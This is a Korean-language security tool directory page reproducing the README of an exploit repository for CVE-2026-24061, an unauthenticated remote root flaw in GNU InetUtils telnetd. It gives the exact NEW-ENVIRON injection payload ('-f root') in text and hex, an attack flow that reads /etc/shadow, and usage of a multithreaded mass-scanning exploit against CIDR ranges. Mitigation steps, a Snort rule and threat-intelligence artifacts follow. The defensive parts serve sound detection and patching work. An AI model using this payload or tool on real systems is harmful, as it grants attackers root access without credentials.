Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - NEW-ENVIRON 변수 주입을 통한 인증되지 않은 원격 루트 권한 획득. | Kitploit
도구/GitHubGitHub/franckferman/cve-2026-24061
Vulnerability ScannersExploitationNetwork SecurityPenetration TestingThreat IntelligenceAuthenticationLearning & EducationRed Teaming
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - NEW-ENVIRON 변수 주입을 통한 인증되지 않은 원격 루트 권한 획득.

저장소 보기
575개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE Score License Python No deps

GNU InetUtils telnetd - NEW-ENVIRON 변수 주입을 통한 인증 없는 원격 루트 권한 획득

개요 - 기술 분석 - 영향받는 버전 - 사용법 - 수정 및 완화 - 참고 자료


취약점 개요

CVE-2026-24061은 GNU InetUtils의 일부로 배포되는 telnetd 데몬의 심각한 인증 우회 취약점입니다. 이 결함은 초기 프로토콜 핸드셰이크 중 Telnet NEW-ENVIRON 옵션(RFC 1572) 처리에서 발생합니다.

근본 원인은 클라이언트가 제공한 환경 변수를 login(1) 프로그램에 전달하기 전에 검증하지 못하는 것입니다. Telnet 데몬이 USER 변수에 값을 포함한 하위 협상 패킷을 수신하면, 이 검증되지 않은 값을 시스템 바이너리에 직접 전달합니다.

-f root
NEW-ENVIRON IS
login

login이 -f 플래그(비밀번호 검증 없이 강제 로그인)를 허용하는 시스템에서는 원격 공격자에게 인증 없는 루트 세션이 부여됩니다.

이 취약점 클래스는 역사적 선례가 있습니다: SysV telnetd의 CVE-2001-0797과 1994년의 잘 알려진 Linux telnetd -f 우회는 권한 있는 바이너리에 전달되는 환경 소스 인수의 검증 실패라는 동일한 근본 결함을 악용했습니다.

자격 증명 불필요. 사전 접근 권한 불필요. 단일 네트워크 패킷 시퀀스로 루트 권한 획득 가능.

기술 분석

근본 원인

GNU InetUtils telnetd는 RFC 1572에 따라 NEW-ENVIRON(옵션 코드 0x27) 하위 협상을 처리하여 클라이언트가 제공한 환경 변수를 수집합니다. 이러한 변수는 인자 벡터로 조합되어 login(1)을 실행할 때 execve(2)에 전달됩니다.

취약점은 다음과 같이 트리거됩니다:

  1. 서버는 클라이언트에게 환경 변수를 요청하는 IAC DO NEW-ENVIRON을 전송합니다.
  2. 악의적인 클라이언트는 IAC WILL NEW-ENVIRON으로 응답합니다.
  3. 서버는 IAC SB NEW-ENVIRON SEND IAC SE로 응답합니다.
  4. 클라이언트는 주입된 페이로드를 전송합니다:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. telnetd는 login -f root로 login 호출을 구성합니다.
  2. login(1)은 -f를 "강제 로그인, 인증 건너뛰기"로 해석하고 비밀번호 없이 지정된 사용자(root)로 로그인합니다.

프로토콜 수준 분석

단계방향Telnet 바이트(16진수)의미
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

-f root가 작동하는 이유

많은 Linux 시스템의 login(1) 바이너리는 과거 터미널 멀티플렉서와 rlogin에서 사용되던 "사전 인증된" 로그인을 위한 -f <user> 플래그를 허용합니다. telnetd가 exec 호출을 구성할 때 환경 변수 값에서 선행 하이픈을 제거하거나 옵션 형태의 문자열을 검증하지 못하면, 공격자가 제어하는 플래그가 login에 직접 전달됩니다.

실제 호출은 다음과 같습니다:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

공격 시나리오

root@kitploit:~
공격자                                    취약한 telnetd (포트 23)
   |                                                   |
   |------- TCP SYN (포트 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet 배너 + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd 호출: login -f root]              |
   |                                                   |
   |<------ 루트 셸 프롬프트 (#) ---------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow 내용 --------|

전제 조건:

  • GNU InetUtils telnetd가 실행 중인 대상 시스템(TCP/23 포트 개방)
  • 패치되지 않은 inetutils 버전
  • login(1) 바이너리가 -f 플래그를 지원(대부분의 Linux 배포판에서 표준)
  • TCP/23을 차단하는 방화벽 없음

영향받는 버전

소프트웨어영향받는 버전상태
GNU InetUtils telnetd<= 2.x (구체적인 패치 버전 미정)취약
패치되지 않은 GNU inetutils를 배포하는 배포판다양함공급업체 권고 확인

배포판이 패치된 버전을 제공하는지 확인하세요. 많은 최신 시스템은 Telnet이 기본적으로 비활성화되어 있습니다. 노출은 명시적으로 실행 중인 telnetd가 필요합니다.

CVSS 점수

지표값
CVSS v3.1 기본 점수9.8 (치명적)
공격 벡터네트워크
공격 복잡성낮음
필요한 권한없음
사용자 상호작용없음
범위변경되지 않음
기밀성 영향높음
무결성 영향높음
가용성 영향높음
벡터 문자열CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

MITRE ATT&CK 매핑

ATT&CK ID전술기법관련성
T1190초기 접근공개 애플리케이션 악용네트워크를 통한 telnetd 직접 악용
T1059실행명령 및 스크립팅 인터프리터익스플로잇 후 셸 실행
T1078.004권한 상승 / 방어 회피유효한 계정: 로컬 계정인증 우회로 유효한 루트 세션 획득
T1548권한 상승권한 상승 제어 메커니즘 남용PAM/인증 우회를 위한 login -f 플래그 남용
T1046탐색네트워크 서비스 탐색PoC의 대량 스캔 구성 요소

설치

요구 사항: Python 3 (표준 라이브러리만 사용, 외부 의존성 없음).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

pip install 불필요. 두 스크립트 모두 Python 표준 라이브러리만 사용합니다.

프로젝트 구조

root@kitploit:~
poc_cve_2026_24061.py       # 간단한 PoC (~100줄) - 취약점 이해용
cve_2026_24061.py           # 산업화된 익스플로잇 - 멀티스레드, CIDR, CSV/JSON 내보내기
scripts/
  generate_signatures.py    # 페이로드에서 Snort/Suricata + Sigma 규칙 자동 생성
  generate_misp_event.py    # MISP 가져오기 가능한 이벤트 JSON 생성
  generate_stix_bundle.py   # STIX 2.1 번들 생성 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # Snort/Suricata 탐지 규칙 (자동 생성)
  sigma.yml                 # SIEM용 Sigma 규칙 (자동 생성)
indicators/
  misp_event.json           # MISP 이벤트 - 이벤트 > 이벤트 추가 > 가져오기로 가져오기
  stix_bundle.json          # STIX 2.1 번들 - 11개 객체 (취약점, 지표, ATT&CK, CoA)
  • poc_cve_2026_24061.py: 최소한의 읽기 쉬운 교육용 코드. 단일 대상, 단일 함수, 추상화 없음. 프로토콜 수준에서 취약점이 정확히 어떻게 작동하는지 이해하려면 이 파일을 읽으세요.
  • cve_2026_24061.py: 침투 테스트 작업을 위한 산업화된 익스플로잇. 멀티스레드, CIDR 범위 지원, 파일 입력, CSV/JSON 내보내기, 조용한 모드, 사용자 지정 사용자 지원.

사용법

간단한 PoC (poc_cve_2026_24061.py)

단일 호스트를 익스플로잇합니다. 코드는 의도적으로 최소화되어 있어 처음부터 끝까지 읽고 전체 공격 체인을 이해할 수 있습니다.

root@kitploit:~
# 기본 사용법
python3 poc_cve_2026_24061.py 192.168.1.100

# 사용자 지정 포트
python3 poc_cve_2026_24061.py 10.0.0.5 2323

산업화된 익스플로잇 (cve_2026_24061.py)

단일 호스트

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

CIDR 범위 (대량 스캔)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

파일 입력

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

JSON 내보내기

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

사용자 지정 대상 사용자

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

조용한 모드 (파이프 친화적)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

전체 옵션

매개변수기본값설명
-t / --target-단일 IP, 호스트 이름 또는 CIDR 범위
-f / --file-IP/CIDR 목록이 포함된 파일 (줄당 하나, # 주석)
-T / --threads10동시 스레드 수
-p / --port23대상 Telnet 포트
--timeout5소켓 타임아웃(초)
--userroot-f 페이로드용 사용자 이름
-o / --output-결과를 CSV 파일로 내보내기
--json-결과를 JSON 파일로 내보내기
-q / --quietoff조용한 모드: 취약한 대상만 출력 (줄당 하나)
--no-coloroffANSI 색상 출력 비활성화

출력 상태

상태의미
[VULN]호스트 취약 확인 - 루트 셸 획득
[SAFE]호스트가 응답했지만 인증이 우회되지 않음
[CLOS]포트 닫힘 또는 연결 거부
[ERR ]스캔 중 소켓 또는 프로토콜 오류

CSV 출력 열: ip:port, status, message

PoC 동작

이 스크립트는 외부 Telnet 라이브러리에 의존하지 않고 Python에서 전체 Telnet NEW-ENVIRON 협상 상태 머신을 기본적으로 구현합니다:

  1. 대상의 포트 23(구성 가능)에 원시 TCP 소켓을 엽니다.
  2. 수신된 IAC 명령 시퀀스를 읽고 DO NEW-ENVIRON에 WILL NEW-ENVIRON으로 응답합니다.
  3. 서버의 SB NEW-ENVIRON SEND 하위 협상을 수신하면 주입된 페이로드(USER = "-f root")를 전송합니다.
  4. 응답 버퍼에서 성공적인 루트 로그인 지표를 모니터링합니다: uid=0(root) 존재 또는 셸 프롬프트(#), Login incorrect 또는 Password:가 없는 경우.
  5. 페이로드가 주입된 경우 id\n을 전송하고 응답에서 uid=0(root)를 확인하여 2차 확인을 수행합니다.

결과는 색상으로 구분된 상태 레이블과 함께 stdout에 기록됩니다. 선택적 CSV 내보내기는 사후 처리를 위해 모든 결과를 기록합니다.

수정 및 완화

즉시 조치

  1. Telnet을 완전히 비활성화합니다. Telnet은 모든 데이터를 평문으로 전송합니다. SSH로 대체하세요.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. 공급업체 패치를 적용합니다. 배포판에서 패치된 inetutils 버전이 제공되면 설치하세요.

  3. 경계에서 TCP/23을 차단합니다. 인바운드 Telnet 연결을 거부하는 방화벽 규칙을 적용하세요.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

심층 방어

통제설명
네트워크 분할Telnet을 비활성화할 수 없는 경우 격리된 관리 네트워크로 제한
PAM 강화PAM 구성을 검토하고 login.defs에서 필요하지 않은 경우 -f 사전 인증 비활성화
IDS/IPS 시그니처Telnet 트래픽에서 NEW-ENVIRON IS VAR USER VALUE -f 패턴 탐지
감사 로깅login을 통한 예기치 않은 루트 로그인을 위해 auth.log / secure 모니터링
취약점 스캐닝패치되지 않은 inetutils 식별을 위해 인증된 스캔(OpenVAS, Nessus) 실행

탐지 (SIEM/IDS)

전송 중인 익스플로잇 탐지를 위한 Snort/Suricata 규칙 스켈레톤:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

위협 인텔리전스

이 저장소는 SOC/CTI 스택으로 바로 가져올 수 있는 사전 생성된 위협 인텔리전스 아티팩트를 제공합니다. 실제 익스플로잇 페이로드에서 CI에 의해 자동 생성됩니다 - 페이로드가 변경되면 아티팩트도 업데이트됩니다.

MISP

indicators/misp_event.json을 모든 MISP 인스턴스로 직접 가져오세요:

root@kitploit:~
이벤트 > 이벤트 추가 > 다음에서 가져오기... > JSON

이벤트에는 다음이 포함됩니다: CVE ID, CVSS 벡터, Snort 시그니처, 페이로드 16진수, MITRE ATT&CK 태그(T1190, T1548, T1059), CPE 및 외부 참조.

STIX 2.1

indicators/stix_bundle.json을 OpenCTI, TAXII 서버 또는 모든 STIX 2.1 소비자로 가져오세요.

번들에는 11개의 객체가 포함됩니다: 취약점, 지표(네트워크 패턴), 3개의 공격 패턴(MITRE), 대응 조치(수정), 신원 및 이를 연결하는 관계.

IDS 시그니처

signatures/의 사전 구축 규칙:

  • snort.rules - 3개의 Snort/Suricata 규칙 (익스플로잇 시도, 일반적인 -f 주입, 익스플로잇 후 루트 셸)
  • sigma.yml - SIEM 상관 분석용 Sigma 규칙

재생성

익스플로잇 페이로드를 수정한 경우 모든 아티팩트를 재생성하세요:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

참조: MISP - OpenCTI - STIX 2.1 - Sigma

참고 자료

  • GNU InetUtils 공식 저장소
  • RFC 1572 - Telnet 환경 옵션 (NEW-ENVIRON)
  • RFC 854 - Telnet 프로토콜 사양
  • CVE-2001-0797 - 역사적 SysV telnetd -f 우회 (선례)
  • MITRE ATT&CK - T1190: 공개 애플리케이션 악용
  • MITRE ATT&CK - T1548: 권한 상승 제어 메커니즘 남용
  • MISP 프로젝트
  • Linux login(1) 매뉴얼 페이지

법적 고지

이 도구는 승인된 보안 감사, 학술 연구 및 교육 목적으로만 제공됩니다. 시스템 소유자의 명시적인 서면 허가 없이 시스템을 대상으로 사용하는 것은 해당 컴퓨터 사기 및 남용 법률(CFAA, Computer Misuse Act 및 이에 상응하는 법률을 포함하되 이에 국한되지 않음)에 따라 불법입니다. 작성자는 무단 또는 악의적인 사용에 대해 어떠한 책임도 지지 않습니다.

도구 다운로드